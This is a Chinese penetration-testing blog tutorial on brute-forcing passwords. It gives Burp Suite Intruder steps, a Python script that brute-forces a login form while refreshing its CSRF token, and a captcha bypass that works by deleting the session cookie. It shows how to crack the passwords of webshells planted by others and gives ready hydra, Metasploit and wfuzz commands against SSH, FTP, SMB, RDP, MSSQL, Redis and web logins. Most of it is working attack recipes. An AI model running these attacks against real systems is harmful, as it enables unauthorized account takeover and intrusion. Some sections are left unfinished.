穷举爆破之乱搞

目录

  0x01 常规密码爆破
  0x02 含token密码爆破
  0x03 Cookie不存在绕过验证码
  0x04 验证码不销毁,可重复利用
  0x05 验证码可ORC识别
  0x06 burpsuite破解一句话后门密码
  0x07 wpscan专门破解Wordpress
  0x08 hydra对端口的穷举
  0x09 xhydra可视化的爆破工具
  0x10 Metasploit爆破穷举
  0x11 wfuzz 多线程穷举密码
  0x12 MailCracker破解企业独立邮件服务器
  0x13 破解CobaltStrike弱口令
  0x14 超级弱口令工具

前言
关于burpsuite如何配置代理,如何导入证书,自己搜,这里只说常见爆破类型

0x01 常规密码爆破

在这里插入图片描述
对一个参数进行爆破
在这里插入图片描述
🐟🐟🐟例如此类网站,条件如下

1️⃣无验证码
2️⃣无试错次数
3️⃣已知账号

开始

1️⃣burpsuite开启拦截数据包功能

Proxy->Intercept->Intercept is on
在这里插入图片描述

2️⃣前端输入账号密码,提交
在这里插入图片描述
在这里插入图片描述
可见,此时数据包被burpsuite拦截

3️⃣转发至Intruder模块

右键/Action->Send to Intruder
在这里插入图片描述
在这里插入图片描述

可见,此时数据包被转发到了Intruder模块

4️⃣设置要爆破的变量

Clear $

在这里插入图片描述

框选密码部分123
Add $

在这里插入图片描述

注:Attack type是Sinper,默认就是此爆破方式

4️⃣导入字典,Start attack

Payloads->Load…->Start attack
导入字典文件/手动输入
在这里插入图片描述
5️⃣查看结果
在这里插入图片描述

一般如何判断密码是否正确呢?
1.返回报文长度
正确页面返回的报文长度一般跟错误页面长度是不一样的
2.页面状态码
如登录成功很有可能是个3xx的重定向状态码,页面跳转
3.响应包关键字
搜索响应包关键字也没有“登录成功”之类的字眼

0x02 含token密码爆破

0️⃣前言

什么是token就先不讲了,可见PHP Session原理简析
简单说一下带token登录的验证流程
在这里插入图片描述
1️⃣客户端携带随机Token值访问服务器
2️⃣服务端返回新的随机Token值给客户端
3️⃣客户端携带新的随机Token值访问服务器

按上面循环

可见,每次发收包都会有一个随机Token值,所以我们就不能直接进行重复发包

解决办法就是,每次请求后,服务器响应包返回的Token值获取下来,然后替换到下一次请求包的Token值内

这里要用到Burpsuite的
Project options->Session模块

借用大佬的知识点一用,大佬已经写的非常好了,详见
BurpSuite系列(十一)----Project options模块(项目选择)

在这里插入图片描述

1️⃣添加一个规则
Project options->Session->Add

在这里插入图片描述
在这里插入图片描述
2️⃣添加为宏类型)
Add->run a macro
在这里插入图片描述
在这里插入图片描述
3️⃣选择要使用宏的项目
Add->(选择要使用宏的项目)->OK
这里我们选择burpsuite抓取的登录页面

在这里插入图片描述
4️⃣添加正则匹配规则
fConfigure item->Add
在这里插入图片描述

在这里插入图片描述
5️⃣配置正则匹配规则
选择要获取的token值
在这里插入图片描述

框选token值 和 Parameter name填写对应变量名

在这里插入图片描述
一路OK,直到

6️⃣选择要更新的值

Edit->(输入变量名)->Add->OK
在这里插入图片描述
7️⃣配置宏应用的范围
在这里插入图片描述
URL Scope->Add->(添加我们登录的URL网站)
在这里插入图片描述
到现在为止,宏设置完了

依旧是抓包,设置变量,导入字典,跟0x01一样

8️⃣设置重定向处理方式和并发数

在这里插入图片描述
Options->Redirections->Always
因为重定向不做跳转,我们无法得知密码是否正确,这里了我们选择总是跳转

Options->Reuest Engine->Number of threads=1
在这里插入图片描述

这里并发数我们选择1
因为我们每次都需要响应包返回的token值,所以只能一个个发,只能选1并发

9️⃣查看结果
在这里插入图片描述
这里就能根据报文长度或页面返回情况来知晓正确密码了

python代码实现,以下代码是抄的

#coding:utf-8
import requests
import re

url = "http://www.c3moon.com/login.php"

def login(password):
    session = requests.session() //自动处理cookie,即 下一次请求会带上前一次的cookie
    req=session.get(url)  //对页面发起一个get请求,获取它的响应包
    user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5  //正则匹配token的value值
    data={"username":"admin","password":password,"Login":"Login",'user_token':user_token} //将账号、密码、登录按钮、token值存储到字典里
    req=session.post(url=url,data=data,allow_redirects=True)  //post提交
    html = req.text
    return html

with open('top1000.txt') as p:
    passlist =p.readlines()
    p.close()

for line in passlist:
    line = line.strip("\n")
    print(line)
    if 'File Upload' in login(line):
        print( "[* 密码 is %s *]" % line )
        break

requests.cookie()
详见:爬虫之利用requests.session进行状态保持

这个脚本缺点是什么呢,每次相当于重新进一次页面,每次多发了一个GET包,我们做个代理,结合burpsuie看看
代码如下:

#coding:utf-8
import requests
import re

url = "http://www.c3moon.com/login.php"
proxyhost="127.0.0.1"
proxyport="8080"
proxyMeta="http://%(host)s:%(port)s" % {
            "host" : proxyhost,
            "port" : proxyport,
        }
proxies={"http":proxyMeta}

def login(password):
    session = requests.session()
    req=session.get(url,proxies=proxies)
    user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
    print(user_token)
    data={"username":"admin","password":password,"Login":"Login",'user_token':user_token}
    req=session.post(url=url,data=data,allow_redirects=True,proxies=proxies)
    html = req.text
    return html

with open('top1000.txt') as p:
    passlist =p.readlines()
    p.close()

for line in passlist:
    line = line.strip("\n")
    print(line)
    if 'File Upload' in login(line):
        print( "[* 密码 is %s *]" % line )
        break

这是使用脚本
在这里插入图片描述
这是正常访问
在这里插入图片描述
我们还是尽量少发包

0x03 Cookie不存在绕过验证码

在这里插入图片描述

这种带验证码的网站

在这里插入图片描述

输入错误的验证码会提示验证码错误
但后台验证机制有可能是,含有Cookie值才对验证码进行验证

在这里插入图片描述

若把PHPSESSID删掉,则绕过了验证码验证

我们根据这个SESSID值在服务器搜一下,发现这是个临时文件
1.验证码应该是根据前端提交的PHPSESSID,对比这个文件里的验证码
2.我们删了这个PHPSESSID,后台没法找到这个文件就绕过了验证码
3.所以后台加个验证Cookie的机制就行了

在这里插入图片描述

0x04 验证码不销毁,可重复利用

如标题所说

0x05 验证码可ORC识别

使用验证码识别工具进行爆破

在这里插入图片描述
在这里插入图片描述
也就是说,目前ORC识别技术越发达,对应的越容易识别的验证码,不能证明网站安全

注:此处需要windows字典,文本转换可以通过
Sublime Text
转换
View->Line Endings->Windows

0x06 burpsuite破解一句话后门密码

倘若我们通过目录遍历找出了别人留下的一句话后门,我们可以破解他的后门链接密码,直接拿权限

asp
cmd=execute("response.clear:response.write(""passwordright""):response.end")
php
cmd=echo "password right";
aspx
cmd=Response.Write("password right");

1️⃣访问一句话木马,抓包
在这里插入图片描述
2️⃣将数据包改为POST类型

右键->Change request method
psot才能做数据提交

在这里插入图片描述

3️⃣用Intruder爆破

cmd=execute("response.clear:response.write(""passwordright""):response.end")

将上述命令复制到数据包中,设置cmd为变量,导入字典爆破

在这里插入图片描述

4️⃣查看结果

在这里插入图片描述
得到密码

5️⃣菜刀连接
在这里插入图片描述

还有个软件搞一句话木马破解的
https://github.com/shmilylty/cheetah-gui

0x07 wpscan专门破解Wordpress

详细用法可详见Kali WPScan的使用(WordPress扫描工具)
【漏扫工具】WPscan简介、下载、更新漏洞库、用法

在这里插入图片描述

--url //扫描的web站点
-U //(大写)用户名
-P //密码字典

在这里插入图片描述

0x08 hydra对端口的穷举

-s    //(小写)可通过这个参数指定非默认端口
-l    //(小写)指定破解的用户,对特定用户破解
-L    //指定用户名字典
-p    //(小写)指定密码破解
-P    //(大写)指定密码字典
-e    //可选选项,n:空密码试探,s:使用指定用户和密码试探
-o    //指定结果输出文件
-f    //找到第一队登录名或密码的时候中止破解
-t    //同时运行的线程数,默认为16
-v/-V    //显示详细过程
-M    //指定目标列表文件,一行一条

1️⃣hydra对ssh(22端口)的穷举爆破

hydra -l root -P /home/omegazero/dic/top100password.txt -e ns -t 1 -vV -f 192.168.52.143 ssh

tips:注意线程设置为1
在这里插入图片描述
2️⃣hydra对ftp(21端口)的穷举爆破

hydra -l c5moon -P /home/omegazero/dic/top100password.txt 192.168.52.141 ftp -vV -f

在这里插入图片描述
在这里插入图片描述
3️⃣hydra对smb(445端口)的穷举爆破

hydra -l administrator -P /home/omegazero/dic/top100password.txt -e ns -vV -f -t 1 192.168.52.142 smb  

在这里插入图片描述
在这里插入图片描述

4️⃣hydra对rdp(3389端口)的穷举爆破

hydra -l administrator -P /home/omegazero/dic/top100password.txt -e ns -vV -f 192.168.52.141 rdp  

在这里插入图片描述
在这里插入图片描述

5️⃣hydra对http服务的穷举爆破

在这里插入图片描述
这样的页面

hydra -l admin -P /home/omegazero/dic/top100password.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"
http-post-form    //设置提交类型
^USER^     //此为变量,对应  -l admin
^PASS^    //此为变量,对应  -P /home/omegazero/dic/top100password.txt
user    //表单提交时用户名变量
ps    //表单提交时密码变量
action=login    //登录错误的判断信息,可见下图

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
6️⃣hydra对mssql(1433端口)服务的穷举爆破

hydra -l sa -P /home/omegazero/dic/top100password.txt -e ns -vV -f 192.168.52.142 mssql

在这里插入图片描述
在这里插入图片描述

7️⃣hydra对redis(6379端口)服务的穷举爆破

hydra -P /home/omegazero/dic/top100password.txt -e ns -vV -f 192.168.52.141 redis

redis没有账号,只有密码

在这里插入图片描述

在这里插入图片描述

0x09 xhydra可视化的爆破工具

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

0x10 Metasploit爆破穷举

详细使用方法可见渗透测试工具——Metasploit

输入msfconsole进入ms终端,启动Metasploit

在这里插入图片描述
常用的爆破模块

auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login

1️⃣metasploit爆破mssql(1433端口)服务

我们可以搜所一下相应模块

search auxiliary/scanner/mssql/mssql_login 

在这里插入图片描述
我们可以使用以下两种方法使用该模块

use 0
或
use auxiliary/scanner/mssql/mssql_login

查看模块的参数

show options

在这里插入图片描述

PASS_FILE    //导入密码文件
RHOSTS    //爆破的目标
RPORT    //爆破的端口
STOP_ON_SUCCESS    //找到第一个密码后停止
THREADS    //线程数
USERNAME    //用户名
USERNAME_FILE    //导入用户文件

设置参数

在这里插入图片描述

set rhosts 192.168.52.142
set pass_file /home/omegazero/dic/top100password.txt
set stop_on_success true
set username sa
set rport 1433

执行爆破

run
或
exploit

在这里插入图片描述
其余用法类似

0x11 wfuzz 多线程穷举密码

-w wordlist    //(小写)指定一个列表文件
-b cookie   //为请求指定cookie
-d postdata    //添加post数据,例如:"id=FUZZ&catalogue=1"
-u url    //指定请求的URL
-L,--follow    //返回302进行跳转
-v    //输出相信信息
-e    //使用的脚本类型
-c    //输出颜色
-z    //例:-z file,users.txt -z file,pass.txt,文件类型+文件名
-sc    //显示指定状态码的输出,例:-sc 200

1️⃣爆破常规网站

此类型网站
在这里插入图片描述

wfuzz -c -z file,/home/omegazero/dic/csdnpass.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"

在这里插入图片描述
上面是通过显示302状态码得知密码

0x12 MailCracker破解企业独立邮件服务器

待定

0x13 破解CobaltStrike弱口令

CobaltStrike是什么东西可以看这Cobalt Strike安装教程

CobaltStrike是一个红队多人协作渗透测试神器,但如果该神器的服务器端放在公网上,是存在爆破可能性的

我本地搭建了两个kali虚拟机

kali    //搭建CobaltStrike服务端
kali2    //攻击机

kali
在这里插入图片描述
CobaltStrike默认端口为50050

在这里插入图片描述
1️⃣kali2 namp一下 CobaltStrike的端口状态,发现是开启的

待定

0x14 超级弱口令工具

github链接:https://github.com/shack2/SNETCracker

在这里插入图片描述

  • 0
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值